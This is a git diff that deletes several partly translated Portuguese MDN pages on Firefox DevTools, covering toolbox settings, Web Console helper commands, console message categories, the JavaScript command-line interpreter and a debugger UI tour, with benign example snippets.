Note that in Firefox 52 we removed the checkbox to toggle the "Select element" button. The "Select element" button is now always shown.

- -

Temas

- -

This enables you to choose one of three different themes.

- -

There's a light theme, which is the default:

- -

Light theme for DevTools

- -

A dark theme (the default on Firefox Developer Edition):

- -

Dark theme for DevTools

- -

There's also a Firebug theme that looks like the Firebug extension, letting you feel at home if you're used to Firebug:

- -

Firebug theme for DevTools

- -

Preferências comuns

- -

Settings that apply to more than one tool. There's just one of these:

- -
-
Enable persistent logs
-
A setting to control whether or not the Web Console and Network Monitor clear their output when you navigate to a new page.
-
- -

Inspetor

- -
-
Show browser styles
-
A setting to control whether styles applied by the browser (user-agent styles) should be displayed in the Inspector's Rules view. Note that this setting is independent of the "Browser styles" checkbox in the Inspector's Computed view.
-
Truncate DOM attributes
-
By default, the Inspector truncates DOM attributes that are more than 120 characters long. Uncheck this box to prevent this behavior. This setting works by toggling the about:config preference "devtools.markup.collapseAttributes". To change the threshold at which attributes are truncated, you can edit the about:config preference "devtools.markup.collapseAttributeLength".
-
Default color unit
-
A setting to control how colors are represented in the inspector: -
    -
  • Hex
  • -
  • HSL(A)
  • -
  • RGB(A)
  • -
  • color name
  • -
  • As authored.
  • -
-
-
Enable layout panel
-
Enable the experimental layout panel. This setting only exists in Firefox Nightly.
-
- -

Consola da Web

- -
-
Enable timestamps
-
Controls whether the Web Console displays timestamps. The Web Console defaults to hiding timestamps.
-
Enable new console frontend
-
Switch to the experimental new console. This setting only exists in Firefox Nightly.
-
- -

Depurador

- -
-
Enable Source Maps
-
Enable source map support in the debugger.
-
Enable new debugger frontend
-
Enable the new debugger. This setting only exists in Firefox Nightly.
-
- -

Editor de Estilo

- -
-
Show original sources
-
When a CSS preprocessor supporting source maps is used, this enables the Style Editor to display the original, preprocessor, sources rather than the generated CSS. Learn more about Style Editor support for CSS source maps. With this setting checked, the Page Inspector Rules view will also provide links to the original sources.
-
Autocomplete CSS
-
Enable the Style Editor to offer autocomplete suggestions.
-
- -

Comportamento da Captura de Ecrã

- -
-
Screenshot to clipboard
-
When you click the icon for the Screenshot tool, copy the screenshot image to the clipboard (the image will still be saved to your Downloads directory). New in Firefox 53.
-
Play camera shutter sound
-
When you click the icon for the Screenshot tool, play a shutter sound. New in Firefox 53.
-
- -

Preferências do Editor

- -

Preferences for the CodeMirror source editor, which is included in Firefox and used by several developer tools, including Scratchpad and the Style Editor.

- -
-
Detect indentation
-
Auto-indent new lines based on the current indentation.
-
Autoclose brackets
-
 
-
Indent using spaces
-
 
-
Tab size
-
 
-
Keybindings
-
Choose the default CodeMirror keybindings, or keybindings from one of several popular editors: -
    -
  • Vim
  • -
  • Emacs
  • -
  • Sublime Text
  • -
-
-
- -

Configurações avançadas

- -
-
Show Gecko platform data
-
A setting to control whether or not profiles should include Gecko platform symbols.
-
- -
-
Disable HTTP Cache
-
Disable the browser HTTP cache to simulate first-load performance in all tabs that have the Toolbox open. This setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. Caching is re-enabled when the devtools are closed. Note that service workers are not affected by this option. -
Note that this option was called "Disable Cache" in Firefox versions previous to 49, but it was renamed to make it clearer that this affects the HTTP cache, and not Service Workers/the Cache API.
-
-
Disable JavaScript
-
Reload the current tab with JavaScript disabled.
-
Enable Service Workers over HTTP
-
Enable Service Worker registrations from insecure websites.
-
Enable browser chrome and add-on debugging toolboxes
-
Enable you to use developer tools in the context of the browser itself, and not only web content.
-
Enable remote debugging
-
Enable the developer tools to debug remote Firefox instances.
-
Enable worker debugging
-
Enable a panel within the debugger to debug workers. -

Nota: This option got removed from the UI in Firefox 56, because this version ships with a new Debugger UI, but it can still be enabled for the old UI by setting the preference devtools.debugger.workers to true.

-
-
- -
- - - - - -
diff --git a/files/pt-pt/tools/consola_da_web/abertura_consola_web/index.html b/files/pt-pt/tools/consola_da_web/abertura_consola_web/index.html deleted file mode 100644 index e997885daf..0000000000 --- a/files/pt-pt/tools/consola_da_web/abertura_consola_web/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Abrir a Consola da Web -slug: Tools/Consola_da_Web/Abertura_Consola_Web -tags: - - consola da Web -translation_of: Tools/Web_Console/UI_Tour ---- -
{{ToolsSidebar}}
- -

Para abrir a 'Consola da Web':

- - - -

The Toolbox will appear at the bottom of the browser window, with the Web Console activated (it's just called "Console" in the DevTools toolbar):

- -

- -

A interface da 'Consola da Web' é dividida em três secções horizontais:

- - diff --git a/files/pt-pt/tools/consola_da_web/ajuda/index.html b/files/pt-pt/tools/consola_da_web/ajuda/index.html deleted file mode 100644 index c789f98427..0000000000 --- a/files/pt-pt/tools/consola_da_web/ajuda/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: Ajuda da Consola da Web -slug: Tools/Consola_da_Web/Ajuda -tags: - - Depuração - - Desenvolvimento da Web - - JavaScript - - consola da Web -translation_of: Tools/Web_Console/Helpers ---- -
{{ToolsSidebar}}
- -

Os comandos

- -

The JavaScript command line provided by the Web Console offers a few built-in helper functions that make certain tasks easier.

- -
-
$(selector, element)
-
-

Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to {{ domxref("document.querySelector()") }} or calls the $ function in the page, if it exists.

- -

See the QuerySelector code snippet.

-
-
$$(selector, element)
-
Looks up a CSS selector string selector, returning an array of DOM nodes descended from element that match. If unspecified, element defaults to document. This is like for {{ domxref("document.querySelectorAll()") }}, but returns an array instead of a {{ domxref("NodeList") }}.
-
$0
-
The currently-inspected element in the page.
-
$_
-
Stores the result of the last expression executed in the console's command line. For example, if you type "2+2 <enter>", then "$_ <enter>", the console will print 4.
-
$x(xpath, element, resultType)
-
Evaluates the XPath xpath expression in the context of element and returns an array of matching nodes. If unspecified, element defaults to document. The resultType parameter specifies the type of result to return; it can be an XPathResult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, ANY_TYPE is used.
-
keys()
-
Given an object, returns a list of the keys (or property names) on that object. This is a shortcut for Object.keys.
-
values()
-
Given an object, returns a list of the values on that object; serves as a companion to keys().
-
clear()
-
Clears the console output area.
-
inspect()
-
Given an object, opens the object inspector for that object.
-
pprint()
-
Formats the specified value in a readable way; this is useful for dumping the contents of objects and arrays.
-
help(){{Deprecated_Inline(62)}}
- :help{{Gecko_MinVersion_Inline(62)}}
-
Displays help text. Actually, in a delightful example of recursion, it will bring you to this page.
-
cd()
-
-

Switch JavaScript evaluation context to a different iframe in the page. This helper accepts multiple different ways of identifying the frame to switch to. You can supply any of the following:

- -
    -
  • a selector string that will be passed to document.querySelector to locate the iframe element
  • -
  • the iframe element itself
  • -
  • the content window inside the iframe
  • -
- -

See working with iframes.

-
-
copy()
-
New in Firefox 38. Copy the argument to the clipboard. If the argument is a string, it's copied as-is. If the argument is a DOM node, its outerHTML is copied. Otherwise, JSON.stringify will be called on the argument, and the result will be copied to the clipboard.
-
clearHistory()
-
New in Firefox 39. Just like a normal command line, the console command line remembers the commands you've typed. Use this function to clear the console's command history.
-
:screenshot
-
New in Firefox 62. Create a screenshot of the current page with the supplied filename. If you don't supply a filename, the image file will be named:
-
- Screen Shot yyy-mm-dd at hh.mm.ss.png
-
- The command has the following optional parameters:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoTipoDescrição
--clipboardbooleanWhen present, this parameter will cause the screenshot to be copied to the clipboard.
--delaynumberThe number of seconds to delay before taking the screenshot.
--dprnumberThe device pixel ratio to use when taking the screenshot.
--filebooleanWhen present, the screenshot will be saved to a file, even if other options (e.g. --clipboard) are included.
--filenamestringThe name to use in saving the file. The file should have a ".png" extension.
--fullpagebooleanIf included, the full webpage will be saved. With this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot. When used, "-fullpage" will be appended to the file name.
--selectorstringThe CSS query selector for a single element on the page. When supplied, only this element will be included in the screenshot.
-
-
- -

Please refer to the Console API for more information about logging from content.

- -

Variáveis

- -
-
tempN
-
The "Use in Console" option in the Inspector generates a variable for a node named temp0, temp1, temp2, etc. referencing the node.
-
- -

Exemplos

- -

Looking at the contents of a DOM node

- -

Let's say you have a DOM node with the ID "title". In fact, this page you're reading right now has one, so you can open up the Web Console and try this right now.

- -

Let's take a look at the contents of that node by using the $() and inspect() functions:

- -
inspect($("#title"))
- -

This automatically opens up the object inspector, showing you the contents of the DOM node that matches the CSS selector "#title", which is of course the element with ID "title".

- -

Dumping the contents of a DOM node

- -

That's well and good if you happen to be sitting at the browser exhibiting some problem, but let's say you're debugging remotely for a user, and need a look at the contents of a node. You can have your user open up the Web Console and dump the contents of the node into the log, then copy and paste it into an email to you, using the pprint() function:

- -
pprint($("#title"))
- -

This spews out the contents of the node so you can take a look. Of course, this may be more useful with other objects than a DOM node, but you get the idea.

diff --git a/files/pt-pt/tools/consola_da_web/atalhos_teclado/index.html b/files/pt-pt/tools/consola_da_web/atalhos_teclado/index.html deleted file mode 100644 index 11e3017557..0000000000 --- a/files/pt-pt/tools/consola_da_web/atalhos_teclado/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Atalhos de teclado da consola da Web -slug: Tools/Consola_da_Web/Atalhos_teclado -translation_of: Tools/Web_Console/Keyboard_shortcuts ---- -
{{ToolsSidebar}}
- -

{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "web-console") }}

- -

Atalhos globais

- -
-

{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

-
diff --git a/files/pt-pt/tools/consola_da_web/dividir_consola/index.html b/files/pt-pt/tools/consola_da_web/dividir_consola/index.html deleted file mode 100644 index 9092beeae0..0000000000 --- a/files/pt-pt/tools/consola_da_web/dividir_consola/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Dividir consola -slug: Tools/Consola_da_Web/Dividir_consola -translation_of: Tools/Web_Console/Split_console ---- -
{{ToolsSidebar}}
- -

Pode utilizar a consola com outras ferramentas. Enquanto estiver noutra ferramenta na «Caixa de Ferramentas», basta pressionar Esc ou clicar no botão "Mostrar dividir consola" na Barra de Ferramentas. A caixa de ferramentas irá aparecer agora dividida, com a ferramenta original por cima e a consola da Web por baixo.

- -

Pode fechar o "dividir consola" pressionando novamente Esc , ou selecioando o comando do menu "Ocultar dividir consola".

- -

- -

{{EmbedYouTube("G2hyxhPHyXo")}}

- -

Como normalmente, $0 funciona como taquigrafia para o elemento atualmente selecionado no Inspetor:

- -

Quando utilizar "dividir consola" com o depurador, o escopo da consola é a execução atual de stack frame. Então, se encontrar um ponto de interrupção numa função, o escopo será a intenção da função. Irá ter o "auto completar" para objetos definidos na função, e pode modificá-los facilmente na hora:

- -

diff --git a/files/pt-pt/tools/consola_da_web/index.html b/files/pt-pt/tools/consola_da_web/index.html deleted file mode 100644 index e0f34f8069..0000000000 --- a/files/pt-pt/tools/consola_da_web/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Consola da Web -slug: Tools/Consola_da_Web -tags: - - Depuração - - Desenvolvimento da Web - - Ferramentas - - Ferramentas Desenvolvimento Web - - Guía - - Segurança - - consola da Web - - 'l10n:priority' -translation_of: Tools/Web_Console ---- -
{{ToolsSidebar}}
- -

A Consola da Web:

- -
    -
  1. Regista a informação associada com a página da Web: pedidos de rede, JavaScript, CSS, erros de segurança e avisos, bem como erro, aviso e mensagens de informação explicitamente registadas pelo código de JavaScript executado no contexto da página
  2. -
  3. Permite-lhe interagir com a página da Web, ao executar as expressões de JavaScript no contexto da página
  4. -
- -

{{EmbedYouTube("C6Cyrpkb25k")}}

- -
-
-
-
Abrir a Consola da Web
-
Como utilizar a Consola da Web.
-
Intérprete da linha de comando
-
Como interagir com um documento, utilizando a Consola.
-
Dividir consola
-
Utilize a Consola com outras ferramentas.
-
-
- -
-
-
Mensagens da consola
-
Detalhes das mensagens dos registos da Consola.
-
Informação Detalhada (Rich Output)
-
Ver e interagir com objetos registados pela Consola.
-
Atalhos do teclado
-
Referência de atalho.
-
-
-
diff --git a/files/pt-pt/tools/consola_da_web/mensagens_consola/index.html b/files/pt-pt/tools/consola_da_web/mensagens_consola/index.html deleted file mode 100644 index db51be1571..0000000000 --- a/files/pt-pt/tools/consola_da_web/mensagens_consola/index.html +++ /dev/null @@ -1,474 +0,0 @@ ---- -title: Mensagens da Consola -slug: Tools/Consola_da_Web/Mensagens_consola -translation_of: Tools/Web_Console/Console_messages ---- -
{{ToolsSidebar}}

A maior parte da 'Consola da Web' é ocupada pelo painel de exibição de mensagens:

- -

- -

Cada mensgaem é exibida como uma linha separada:

- -

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HoraThe time the message was recorded. This is not shown by default: you can opt to see timestamps using a setting in the Toolbox.
Categoria -

Category: this indicates what sort of message this is:

- -
    -
  • Black: Network request
  • -
  • Blue: CSS warning/error/log
  • -
  • Orange: JavaScript warning/error
  • -
  • Red: Security warning/error
  • -
  • Green: Server logs
  • -
  • Light Gray: Console API messages
  • -
  • Dark Gray: input/output from the interactive command line interpreter
  • -
-
TipoFor all messages except network requests and interactive input/output an icon indicating whether it is an error(X), a warning(!) or an informational log message (i).
MensagemThe message itself.
Número de ocorrênciasIf a line that generates a warning or error is executed more than once, it is only logged once and this counter appears to indicate how many times it was encountered.
Nome de ficheiro e número da linha -

For JavaScript, CSS and console API messages the message can be traced to a specific line of code. The console then provides a link to the filename and line number that generated the message.

- -

From Firefox 36, this includes the column number as well.

-
- -

By default, the console is cleared each time you navigate to a new page or reload the current page. To override this behavior, check "Enable persistent logs" in the Settings.

- -

Categorias da mensagem

- -

Rede

- -
-

Network log messages are not shown by default. Use the filtering feature to show them.

-
- -

Network requests are logged with a line that looks like this:

- -

- - - - - - - - - - - - - - - - - - - - - - - - -
HoraThe time the message was recorded.
CategoriaIndicates that the message is an HTTP request.
Método -

The specific HTTP request method.

- -

If the request was made as an XMLHttpRequest, there's an additional note indicating this:

- -

-
URIThe target URI.
ResumoThe HTTP version, status code, and time taken to complete.
- -

Visualização dos detalhes do pedido de rede

- -

If you click on the message, you'll be redirected to the Network panel where the request is selected and more request and response details are shown within the side panel at the right side. In versions prior to Firefox 43 this information was shown in a separate popup.

- -

Starting in Firefox 48, you can access much of this detail inline, without leaving the Web Console. Network request entries get a disclosure arrow next to them. Click this to see:

- - - -

{{EmbedYouTube("cFlcWzJ9j4I")}}

- -

JS

- -

JavaScript messages look like this:

- -

- -

Hiperligação "Sbaer mais"

- -
Novo no Firefox 49
- -

JavaScript errors contain a "Learn more" link that takes you to the JavaScript error reference containing additional advice for fixing issues:

- -

{{EmbedYouTube("OabJc2QR6o0")}}

- -

Source maps

- -
New in Firefox 50 (but disabled by default)
- -

From Firefox 50, the Web Console understands source maps. This means that if your JavaScript sources are compressed, you can supply a source map for them. Then any messages or errors your source generates will show up in the Web Console with a link back to the original source, not the compressed version.

- -

At the moment source map support is disabled by default. To enable it, visit "about:config", find the preference "devtools.source-map.locations.enabled" and set it to true.

- -

Be aware that support is still experimental. It may have bugs and may slow down console output. Bug 1289570 tracks any work that needs to be done before source map support can be enabled by default.

- -

CSS

- -
-

CSS warnings and reflow messages are not shown by default. Use the filtering feature to show them.

-
- -

CSS messages look like this:

- -

- -

Reflow events

- -

The Web Console also logs reflow events under the CSS category. A reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. Reflows occur when a change has happened to a page that the browser thinks affects the layout. Many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the DOM in JavaScript.

- -

Because reflows can be computationally expensive and directly affect the user interface, they can have a big impact on the responsiveness of a website or web app. By logging reflow events the Web Console can give you insight into when reflow events are being triggered, how long they take to execute and, if the reflows are synchronous reflows triggered from JavaScript, which code triggered them.

- -

Reflow events are logged as "Reflow" messages, as distinct from CSS errors or warnings. By default, they are disabled. You can enable them by clicking the "CSS" button in the toolbar and selecting "Reflows".

- -

Each message is labeled "reflow" and shows the time taken to execute the reflow:

- -

If the reflow is a synchronous reflow triggered from JavaScript, it also shows a link to the line of code that triggered the reflow:

- -

Click the link to open the file in the Debugger.

- -

Synchronous and asynchronous reflows

- -

If a change is made that invalidates the current layout - for example, the browser window is resized or some JavaScript modifies an element's CSS - the layout is not recalculated immediately. Instead, the reflow happens asynchronously, the next time the browser decides it needs to be done (generally, the next time the browser repaints). In this way the browser can save up a collection of invalidating changes and recalculate their effect at once.

- -

However, if some JavaScript code reads a style that has been modified, then the browser must perform a synchronous reflow in order to calculate the computed style to return. For example, code like this will cause an immediate, synchronous, reflow, when it calls window.getComputedStyle(thing).height:

- -
var thing = document.getElementById("the-thing");
-thing.style.display = "inline-block";
-var thingHeight = window.getComputedStyle(thing).height;
- -

Because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the DOM, because every time you read back a style that has been invalidated by a previous write call, you force a synchronous reflow.

- -

Security

- -

Security warnings and errors look like this:

- -

The security messages shown in the Web Console help developers find potential or actual vulnerabilities in their sites. Additionally, many of these messages help educate developers because they end with a “Learn More” link that takes you to a page with background information and advice for mitigating the issue.

- -

The complete list of security messages is as follows:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MessageDetails
Blocked loading mixed active contentThe page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser blocked this active content. See Mixed Content for more details.
Blocked loading mixed display contentThe page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser blocked this display content. See Mixed Content for more details.
Loading mixed (insecure) active content on a secure pageThe page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser loaded this active content. See Mixed Content for more details.
Loading mixed (insecure) display content on a secure pageThe page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser loaded this display content. See Mixed Content for more details.
This site specified both an X-Content-Security-Policy/Report-Only header and a Content-Security-Policy/Report-Only header. The X-Content-Security-Policy/Report-Only header(s) will be ignored.See Content Security Policy for more details.
The X-Content-Security-Policy and X-Content-Security-Report-Only headers will be deprecated in the future. Please use the Content-Security-Policy and Content-Security-Report-Only headers with CSP spec compliant syntax instead.See Content Security Policy for more details.
Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen.Pages containing login forms must be served over HTTPS, not HTTP.
Password fields present in a form with an insecure (http://) form action. This is a security risk that allows user login credentials to be stolen.Forms containing password fields must submit them over HTTPS, not HTTP.
Password fields present on an insecure (http://) iframe. This is a security risk that allows user login credentials to be stolen.iframes containing login forms must be served over HTTPS, not HTTP.
The site specified an invalid Strict-Transport-Security header.See HTTP Strict Transport Security for more details.
-

This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.

-
-

The site uses a certificate whose signature uses the SHA-1 hash algorithm.

- -

SHA-1 is still still widely used in certificates, but it is starting to show its age. Web sites and Certification Authorities are encouraged to switch to stronger hash algorithms in future. See the Weak Signature Algorithm article for more details.

- -

Note that the SHA-1 certificate may not be your site's own certificate, but may be the certificate belonging to a Certification Authority that was used to sign your site's certificate.

-
- -

Bug 863874 is the meta-bug for logging relevant security messages to the Web Console. If you have more ideas for useful features like the ones discussed here, or are interested in contributing, check out the metabug and its dependencies.

- -

Logging

- -
-

Messages logged from Shared Workers, Service Workers, add-ons, and Chrome Workers are not shown by default. Use the filtering feature to show them.

-
- -

The Logging category includes messages logged using the Console API.
-

- -

The Web console supports the following Console API messages:

- - - -

The console prints a stack trace for all error messages, like this:

- -
function foo() {
-  console.error("it explodes");
-}
-
-function bar() {
-  foo();
-}
-
-function doStuff() {
- bar();
-}
-
-doStuff();
- -

- -

Servidor

- -
-

Novo no Firefox 43

-
- -
-

Server-side log messages are not shown by default. Use the filtering feature to show them.

-
- -

From Firefox 43, the Web Console can display messages sent from the server. This enables you to use the Web Console to debug server-side code.

- -

It uses the Chrome Logger protocol. Briefly, the way it works is:

- - - -

To find a suitable library for your server code, see the Chrome Logger documentation.

- -

Linha de comando - entrada/saída

- -

Commands sent to the browser using the Web Console's command line, and the corresponding responses, are logged using lines like this:

- -

The dark gray bar indicates that these are input/output messages, while the direction of the arrow discriminates between input and output.

- -

Filtering and searching

- -

Filtrar por categoria

- -

You can use the toolbar along the top to constrain the results displayed.

- -

To see only messages of particular categories, click the button labeled with that category ("Net", "CSS", and so on). Clicking the main part of the button toggles that category on or off, while clicking the arrow on the right gives you more fine-grained filter options within that category:

- - - -

Filtrar por texto

- -

To see only messages that contain a specific string, type in the text box labeled "Filter output".

- -

Limpar o registo de eventos

- -

Finally, you can use this toolbar to clear the log. Before Firefox 48, this is a button labeled "Clear" on the right of the toolbar. From Firefox 48 it's a trashcan icon on the left.

- -
- - - - - -
diff --git a/files/pt-pt/tools/consola_da_web/o_interprete_da_linha_de_comandos/index.html b/files/pt-pt/tools/consola_da_web/o_interprete_da_linha_de_comandos/index.html deleted file mode 100644 index 16554ff278..0000000000 --- a/files/pt-pt/tools/consola_da_web/o_interprete_da_linha_de_comandos/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: O intérprete de inserção (entrada) de JavaScript -slug: Tools/Consola_da_Web/O_interprete_da_linha_de_comandos -tags: - - Depuração - - Desenvolvimento da Web - - consola da Web -translation_of: Tools/Web_Console/The_command_line_interpreter ---- -
{{ToolsSidebar}}
- -

You can interpret JavaScript expressions in real time using the interpreter provided by the Web Console. It has two modes: single-line entry and multi-line entry.

- -

Modo de linha única

- -

For single-line entry, you can type JavaScript expressions in the field at the bottom of the console log, at the >> prompt.

- -

The Web Console, showing single-line mode

- -

To enter expressions in single-line mode, type at the prompt and press Enter. To enter multi-line expressions, press Shift+Enter after typing each line, then Enter to run all the entered lines.

- -

The expression you type is echoed under the input prompt, followed by the result.

- -

If your input does not appear to be complete when you press Enter, then the Console treats this as Shift+Enter , enabling you to finish your input.

- -

For example, if you type:

- -
function foo() {
- -

and then Enter, the Console does not immediately execute the input, but behaves as if you had pressed Shift+Enter , so you can finish entering the function definition.

- -

Modo de múltiplas linhas

- -

For multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press  Ctrl+B (Windows/Linux) or Cmd+B (macOS). The multi-line editing pane opens on the left side the of Web Console.

- -

Web Console in multi-line mode

- -

You can enter multiple lines of JavaScript by default in this mode, pressing Enter after each one. To execute the snippet that is currently in the editing pane, click the Run button or press Ctrl+Enter (or Cmd+Return on MacOS). The snippet is echoed under the input prompt (in the right-side pane), followed by the result. You can also select a range of lines in the editing pane, and run just the code on those lines.

- -

Starting in Firefox 76, if the code snippet is more than five lines long, only the first five lines are echoed in the console, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…). Click anywhere in the area containing the echoed code to show the whole snippet; click again in that area to collapse it.

- -

You can open files when in multi-line mode, and save the current contents of the editing pane to a file.

- - - -

To switch back to single-line mode, click the X icon at the top of the multi-line editing pane, or press  Ctrl+B (Windows/Linux) or Cmd+B (MacOS).

- -

Aceder às variáveis

- -

You can access variables defined in the page, both built-in variables like window and variables added by JavaScript libraries like jQuery:

- -

- -

Auto completar

- -

The editor has autocomplete: enter the first few letters and a popup appears with possible completions:

- -

- -

Press  Enter, Tab, or the right arrow key to accept the suggestion, use the up/down arrows to move to a different suggestion, or just keep typing if you don't like any of the suggestions.

- -

Console autocomplete suggestions are case-insensitive.

- -

The console suggests completions from the scope of the currently executing stack frame. This means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function.

- -

You get autocomplete suggestions for array elements, as well:

- -

- -

You can enable or disable autocompletion via the Settings ("gear") menu in the Web Console toolbar. The menuitem Enable Autocompletion has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.

- -

Avaliação instantânea

- -
-

This feature is available in Firefox Nightly, in versions labeled 74 and later.

-
- -

When the "instant evaluation" feature is enabled, the interpreter displays results of expressions as you're typing them in single-line mode. Note that the result might be an error message. Expressions that have side effects are not evaluated.

- -

You can enable or disable instant evaluation via the Settings ("gear") menu in the Web Console toolbar. The menuitem Instant Evaluation has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.

- -

Contexto de execução

- -

Code that you have executed becomes part of the execution context, regardless of what editing mode you were in when you executed it. For example, if you type a function definition in the multi-line editor, and click Run, you can switch to single-line mode and still use your function.

- -

Sintaxe realçada

- -

Console output showing syntax highlighting

- -

The text you enter has syntax highlighting as soon as you have typed enough for the highlighter to parse it and infer the meanings of the "words".

- -

The output is highlighted as well where appropriate.

- -
-

Nota: Syntax highlighting is not visible in your browser if Accessibility features have been enabled.

-
- -

Histórico de execução

- -

The interpreter remembers expressions you've typed. To move back and forward through your history:

- - - -

The expression history is persisted across sessions. To clear the history, use the clearHistory() helper function.

- -

You can initiate a reverse search through the expression history, much like you can in bash on Linux and Mac or PowerShell on Windows. On Windows and Linux press F9. On Mac press Ctrl+R (note: not Cmd+R!) to initiate the reverse search.

- -

- -

Enter the text you want to search for in the input box at the bottom of the Console. Start typing part of the expression you are looking for and the first match is displayed in the console. Repeatedly typing F9 on Windows and Linux ( Ctrl+R on Mac) cycles backwards through the matches.

- -

- -

Once you  have initiated the reverse search, you can use Shift + F9 on Windows or Linux ( Ctrl+S on Mac) to search forward in the list of matches. You can also use the  and icons in the expression search bar.

- -

When you find the expression you want, press Enter (Return) to execute the statement.

- -

Trabalhar com iframes

- -

If a page contains embedded iframes, you can use the cd() function to change the console's scope to a specific iframe, and then you can execute functions defined in the document hosted by that iframe. There are three ways to select an iframe using cd():

- -

You can pass the iframe DOM element:

- -
var frame = document.getElementById("frame1");
-cd(frame);
- -

You can pass a CSS selector that matches the iframe:

- -
cd("#frame1");
- -

You can pass the iframe's global window object:

- -
var frame = document.getElementById("frame1");
-cd(frame.contentWindow);
-
- -

To switch the context back to the top-level window, call cd() with no arguments:

- -
cd();
- -

For example, suppose we have a document that embeds an iframe:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-  </head>
-  <body>
-    <iframe id="frame1" src="static/frame/my-frame1.html"></iframe>
-  </body>
-</html>
- -

The iframe defines a new function:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8">
-    <script>
-      function whoAreYou() {
-        return "I'm frame1";
-      }
-   </script>
-  </head>
-  <body>
-  </body>
-</html>
- -

You can switch context to the iframe like this:

- -
cd("#frame1");
- -

Now you'll see that the global window's document is the iframe:

- -

And you can call the function defined in the iframe:

- -

- -

Comando da Ajuda

- -

{{ page("docs/Tools/Consola_da_Web/Ajuda", "Os comandos") }}

diff --git a/files/pt-pt/tools/consola_da_web/rich_output/index.html b/files/pt-pt/tools/consola_da_web/rich_output/index.html deleted file mode 100644 index 591a4cd624..0000000000 --- a/files/pt-pt/tools/consola_da_web/rich_output/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Informação Detalhada -slug: Tools/Consola_da_Web/Rich_output -translation_of: Tools/Web_Console/Rich_output ---- -
{{ToolsSidebar}}
- -

Quando a consola da Web imprime objetos, esta inclui um conjunto de informação mais rico do que apenas o nome do objeto. Em particular, esta:

- - - -

Type-specific rich output

- -

The Web Console provides rich output for many object types, including the following:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Object
Array
Date
Promise -
-

New in Firefox 36

-
- -

-
RegExp
Window
Document
Element
Event
- -

Examining object properties

- -

When an object is logged to the console it appears in italics. Click on it, and you'll see a new panel appear containing details of the object:

- -

To dismiss this panel press Esc..

- -

Highlighting and inspecting DOM nodes

- -

If you hover the mouse over any DOM element in the console output, it's highlighted in the page:

- -

In the screenshot above you'll also see a blue "target" icon next to the node in the console output: click it to switch to the Inspector with that node selected.

diff --git a/files/pt-pt/tools/debugger/demonstracao_iu/index.html b/files/pt-pt/tools/debugger/demonstracao_iu/index.html deleted file mode 100644 index 9402c890b7..0000000000 --- a/files/pt-pt/tools/debugger/demonstracao_iu/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Demonstração da IU -slug: Tools/Debugger/Demonstracao_IU -translation_of: Tools/Debugger/UI_Tour ---- -
{{ToolsSidebar}}

Este artigo é uma demonstração rápida das secções principais da interface do utilizador do 'Depurador de JavaScript'. A IU está dividida verticalmente em 3 painéis:

- - - -

- -

Painel da lista fonte

- -

The source list pane lists all the JavaScript source files loaded into the page, and enables you to select one to debug. At the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served.

- -

- -

You can search for a file using Ctrl + P (Cmd + P on a Mac).

- -

Painel fonte

- -

This shows the JavaScript file currently loaded.

- -

When the source pane is focused you can search for a string in the file using Ctrl + F (Cmd + F on a Mac).

- -

Breakpoints have a blue arrow overlaid on the line number. Conditional breakpoints have an orange arrow. If you're stopped at a breakpoint, the entire line gets a green overlay. In the screenshot below there are three breakpoints:

- - - -

- -

Barra de Ferramentas

- -

No topo do painel à direita, existe uma barra de ferramentas:

- -

- -

A barra de ferramentas consiste em:

- - - -

- -

Lista de ponstos de quebra

- -

Under the toolbar, you'll see all the breakpoints you've set. Next to each breakpoint is a checkbox which you can use to enable/disable it:

- -

- -

 

- -

 

- -

Call stack

- -

 

- -

 

- -

When the debugger's paused, you'll see a call stack:

- -

Each level of the call stack gets a line, with the name of the function and the filename and line number. Clicking the line opens that source in the source pane.

- -

Scopes

- -

In the right-hand pane you'll see a label "Scopes" with a disclosure arrow next to it. When the debugger's paused, you'll be able to expand this section to see all objects that are in scope at this point in the program:

- -

Objects are organized by scope: the most local appears first, and the global scope (Window, in the case of page scripts) appears last.

